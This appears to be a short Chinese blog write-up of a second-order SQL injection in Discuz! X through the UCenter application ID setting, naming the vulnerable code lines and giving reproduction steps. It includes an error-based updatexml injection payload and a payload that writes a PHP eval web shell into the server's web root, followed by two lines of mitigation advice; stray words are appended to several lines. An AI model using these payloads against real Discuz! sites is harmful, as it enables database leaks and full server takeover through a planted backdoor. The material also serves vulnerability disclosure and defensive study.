Discuz!X全版本存在SQL注入漏洞。漏洞产生的缘由是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid']参数时未进行彻底过滤,致使出现二次注入。在特定条件下,攻击者能够利用该漏洞获取服务器权限。php
Discuz! X系列全版本,截止Discuz!X最新的Discuz! X3.4 R20191201版本shell
(1)\source\admincp\admincp_setting.php第2571行,用户可控参数$settingnew['uc']['appid']替换掉.\config\config_ucenter.php配置文件中的常量UC_APPID的值,并写入配置文件服务器
(2)\uc_client\model\base.php第206行,UC_APPID直接拼接到SQL语句中app
(3)当调用函数时将触发二次注入函数
(1)在站长-UCenter设置下的应用ID中输入1’测试
(2)访问首页将触发产生SQL报错spa
(3)故能够插入其余测试payloadcode
1' and (updatexml(1,concat(0x7e,(select version()),0x7e),1));-- a
(4)写马xml
1' union select '<?php @eval($_POST[1]);?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php';-- a
(1)后台不使用弱口令blog
(2)官方暂未发布补丁,关注官方补丁信息